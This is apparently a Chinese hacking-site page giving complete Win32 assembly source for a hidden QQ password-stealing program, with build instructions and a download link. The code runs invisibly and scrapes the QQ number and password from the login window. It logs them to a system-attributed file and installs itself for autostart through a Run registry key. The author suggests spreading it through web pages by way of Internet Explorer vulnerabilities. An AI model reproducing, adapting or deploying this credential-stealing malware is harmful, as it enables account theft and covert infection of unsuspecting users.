你可以从这个程序学到如何利用汇编...的一些特别特性 程序下载地址: locking.8u8.com/hack/asmqq.rar 这是一个我用了一天多编出来的运行在98环境下的 记录QQ密码的小程序,只有不到7KB 编程语言是win32汇编,我用的是MASM8.0编绎器 可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程 序要么被杀要么没更新用不到了....只好自已写一个,由于这 个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE 的洞洞让看过网页的人就中招..当然你还得改改程序,因为它 不具有发邮件的功能. 文件说明: qqlog.txt c:windowssystem32目录下,密码就放这儿了 qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动 qqplus.asm 源文件 qq.rc 资源文件 findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法 str.asm 验证在文件中找是否有已知字串的小模块 readme.txt 这也要说明:) 编绎参数: D:masm32BIN>type b.bat ml /c /coff msg.asm link /subsystem:windows msg.obj qq.res czy 于03.06.15 .386 .model flat,stdcall option casemap:none include ../include/windows.inc include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/Advapi32.inc includelib ../lib/Advapi32.lib _PROCVAR2 typedef proto :dword,:dword PROCVAR2 typedef ptr _PROCVAR2 .data szcaption db hello asm!,0 sztext db hehe ,0 szqqtitle db ,0 sztext1 db cant find ,0 tx db 40 dup(0),0 pass db 16 dup(0),0 qqno db 40 dup(0),0 log db c:windowssystem32qqlog.txt,0 szFormat db %s %s,0dh,0Ah,0 regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0 keyname db QQplus,0 exename db QQplus.exe,0 hkey dd ? allnum dd ? @szBuffer db 60 dup(0),0 canwrite db 0 ;---------------------------------是否有重复记录 find db 相同用户名密码已在文件中存在,0 logall db 1024 dup(0),0 @hFile1 dd ? p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0 k dd 0 ;在logall中找到多少个相同的字符了 q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置? j dd 0 ;记录在logall中找到多少个字串来了 base dd 0 ;记录logall的地址 lenstr dd 0 ;记录匹配的字串的长度 len dd 0 ;记录文件长度 @szBuffer1 db 10 dup(0),0 szFormat1 db %d%s,0 ;--------------------------------- .const szregister db RegisterServiceProcessA,0 kerdll db kernel32.dll,0 .data? hInstance dd ? hWinMain dd ? RegisterServiceProcessA PROCVAR2 ? hDllInstance dd ? .code _isin proc invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ, NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL ;OPEN_ALWAYS:存在则打开,不存在就创建 mov @hFile1,eax invoke GetFileSize,@hFile1,NULL ;得到文件长度 invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL invoke CloseHandle,@hFile1 invoke lstrlen,addr logall ;得到字串总长 mov esi,offset len mov [esi],eax ;并记录到len变量中 invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度 mov esi,offset lenstr mov [esi],eax ;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr ;invoke MessageBox,NULL,offset logall,offset @szBuffer,1 ;上面的*作从文件中读出所有内容,下面就是比较 mov esi,offset logall mov edi,offset @szBuffer xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx @@bg: movzx eax,byte ptr [esi] ;logall movzx ebx,byte ptr [edi] ;@szBuffer mov ecx,len .if j>ecx jmp @@exit .endif .if eax==ebx .if p==0 ;找到一个和hello的第一个字母相同的 inc p ;p设为1 mov edx,offset j mov ecx,[edx] mov q,ecx ;把j的值给Q .endif inc edi inc esi inc j inc k mov ecx,lenstr .if k==ecx pushad ;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall ;invoke MessageBox,NULL,offset @szBuffer1,offset find,1 popad ;调用了函数eax值发生变化所以要还原寄存器 inc canwrite ;可写入标记设为1 jmp @@exit .endif .else .if p==1 mov ecx,q mov j,ecx inc j movzx eax,byte ptr [esi] add esi,j mov edi,offset @szBuffer dec p ;p重设为0 mov k,0 .else inc j inc esi .endif .endif jmp @@bg @@exit: ret _isin endp _SavePass proc ;用户名密码记录在全局变量中了 local @hFile:HFILE local @lpOpenbuf:OFSTRUCT invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass ;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1 mov qqno,NULL mov pass,NULL invoke _isin .if canwrite==0 invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ, NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL ;OPEN_ALWAYS:存在则打开,不存在就创建 mov @hFile,eax invoke SetFilePointer,@hFile,0,NULL,FILE_END invoke SetEndOfFile,@hFile ;文件指针放到文件尾 invoke lstrlen,addr @szBuffer invoke _lwrite,@hFile,addr @szBuffer,eax .else dec canwrite ;还原标记 .endif invoke CloseHandle,@hFile ;清空当前记录的密码防止重复记录 ret _SavePass endp _Findzi proc _hzi invoke GetWindowLong,_hzi, GWL_STYLE .if eax==50012080h ;记录QQ号码 invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0 inc eax push eax invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx ;invoke MessageBox,NULL,offset tx,offset szcaption,1 ; mov esi, offset tx ; mov edi, offset qqno ;MYCOPYSTR0: ; mov al,byte ptr [esi] ; cmp al,0 ; jz MYCOPYSTR1 ; mov [edi],al ; inc esi ; inc edi ; jmp MYCOPYSTR0 ;MYCOPYSTR1: pop ecx .if ecx>5 ;长度大于4,qqno!=tx mov edi,offset qqno mov esi,offset tx xor edx,edx .while edx<ecx mov eax,[esi] cmp [edi],eax jnz @@qt inc esi inc edi inc edx .endw jmp @@ps @@qt: xor edx,edx mov edi,offset qqno mov esi,offset tx .while edx<ecx mov eax,[esi] mov [edi],eax inc esi inc edi inc edx .endw ;invoke MessageBox,NULL,offset qqno,offset szcaption,1 .endif .endif @@ps: .if eax==500100A0h ;记录QQ密码 invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0 inc eax push eax invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx pop ecx .if ecx>6 ;长度大于5,qqno!=tx mov edi,offset pass mov esi,offset tx xor edx,edx .while edx<ecx mov eax,[esi] cmp [edi],eax jnz @@qt1 inc esi inc edi inc edx .endw jmp @@ps1 @@qt1: xor edx,edx mov edi,offset pass mov esi,offset tx .while edx<ecx mov eax,[esi] mov [edi],eax inc esi inc edi inc edx .endw ;invoke MessageBox,NULL,offset pass,offset szcaption,1 .endif .endif @@ps1: invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体 .If eax!=0 ;没有兄弟窗口了 invoke _Findzi,eax .EndIf invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口 .If eax!=0 ;没有子窗口了 invoke _Findzi,eax .EndIf ret _Findzi endp _ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime pushad invoke FindWindow,NULL,offset szqqtitle .if eax invoke GetWindow,eax, GW_CHILD invoke _Findzi,eax .else ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1 ;找不到登陆窗口并且用户名密码不为空就试图记录 invoke lstrlen,offset pass .if eax>5 ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1 invoke _SavePass .endif .endif popad ret _ProcTimer endp _ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam mov eax,uMsg .if eax==WM_INITDIALOG push hWnd pop hWinMain invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮 invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见 invoke SetTimer,hWinMain,1,500,addr _ProcTimer .elseif eax == WM_CLOSE invoke KillTimer,hWinMain,1 invoke EndDialog,hWinMain,NULL .else mov eax,FALSE ret .endif mov eax,TRUE ret _ProcDlgMain endp start: invoke GetModuleHandle,NULL mov hInstance,eax ;pushad ;invoke LoadLibrary,offset kerdll ;.if eax ;加载KERNEL32.dll成功 ; mov hDllInstance,eax ; invoke GetProcAddress,hDllInstance,offset szregister ; ; mov RegisterServiceProcessA,eax ; ;mov ebx,01 ; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程 ; ; invoke FreeLibrary,offset kerdll ;.endif ;popad invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL ;开机自启动 invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11 invoke RegCloseKey,hkey ;invoke ExitProcess,NULL end start
复制本页网址和标题,发送给你QQ/Msn的好友一起分享
上一篇:天空葵QQ密码探索者 beta 0.85版使用说明
下一篇:不用QQ密码也可查看聊天记录